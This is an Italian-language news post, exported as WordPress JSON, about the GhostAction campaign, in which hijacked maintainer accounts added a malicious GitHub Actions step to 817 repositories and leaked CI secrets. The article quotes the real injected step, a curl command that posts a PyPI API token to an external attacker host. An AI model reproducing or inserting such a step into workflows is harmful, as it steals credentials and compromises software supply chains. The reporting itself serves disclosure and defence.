{"id":142433,"date":"2025-09-06T11:11:58","date_gmt":"2025-09-06T09:11:59","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github"},"modified":"2025-09-06T11:11:58","modified_gmt":"2025-09-06T09:11:59","slug":"v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","status":"publish","type":"post","link":"https:\/\/prohoster.info\/it\/blog\/news\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","title":{"rendered":"Durante l'attacco di GhostAction sono stati compromessi 817 repository su GitHub","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
I ricercatori di GitGuardian hanno identificato un attacco di massa agli utenti di GitHub, durante il quale ha ottenuto il controllo su 327 account e ha inserito un elaboratore dannoso di Github Action in 817 repository. L'attacco ha portato alla fuga di 3325 segreti utilizzati nei sistemi di integrazione continua e trasmessi tramite variabili d'ambiente, inclusi i token di accesso a PyPI, GitHub, NPM, DockerHub e vari archivi cloud.
<\/center> <\/p>\n
GitHub Actions consente agli sviluppatori di codice di collegare gestori per automatizzare diverse operazioni su GitHub. Ad esempio, con GitHub Actions \u00e8 possibile eseguire controlli e test specifici quando vengono effettuati commit o automatizzare la gestione di nuove Issues. Un gestore dannoso si \u00e8 diffuso sotto il nome di \u00abGithub Actions Security\u00bb e includeva nella sezione \u00abrun\u00bb il comando \u00abcurl\u00bb, che invia il contenuto delle variabili d'ambiente a un host esterno quando vengono eseguite attivit\u00e0 nell'ambiente di integrazione continua. Il commit dannoso \u00e8 stato aggiunto da account dei maintainer dei progetti, che probabilmente erano stati compromessi o vittime di phishing. <\/p>\n
L'attacco \u00e8 stato rilevato dopo un'analisi dell'attivit\u00e0 anomala associata al pacchetto FastUUID, che fornisce un'interfaccia Python per la libreria Rust UUID. Il pacchetto FastUUID, per il quale nell'ultima settimana sono state registrate quasi 1,2 milioni di download, \u00e8 utilizzato come dipendenza in un popolare progetto, LiteLLM, che conta oltre 5 milioni di download a settimana in PyPI. L'analisi delle modifiche nel repository di FastUUID ha mostrato che il 2 settembre il maintainer del progetto ha aggiunto un commit con un nuovo gestore Github Action che conteneva codice per inviare il token al repository PyPI a un host esterno. \u2014 name: Github Actions Security run: | curl -s -X POST -d 'PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}' https:\/\/bold-dhawan.45-139-104-115.plesk.page <\/p>\n
La problematica \u00e8 stata individuata prima che i criminali informatici potessero sfruttare il token intercettato \u2014 non sono stati registrati pubblicazioni di modifiche dannose o versioni modificate del pacchetto in PyPI per FastUUID. Sostituzioni simili di Github Action sono state individuate in ulteriori 816 repository, ai cui proprietari, cos\u00ec come all'amministrazione di PyPI, GitHub, NPM e DockerHub, sono state inviate notifiche. Alla sera di ieri, i commit dannosi erano stati annullati in circa 100 repository. Attualmente, effettuando una ricerca su GitHub, si identificano 671 commit con Github Action dannoso. \n Fonte: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"
![\"Durante](\"\/wp-content\/uploads\/2025\/09\/67680941517aef43057214be405892b7.png\")
<\/center> <\/p>\n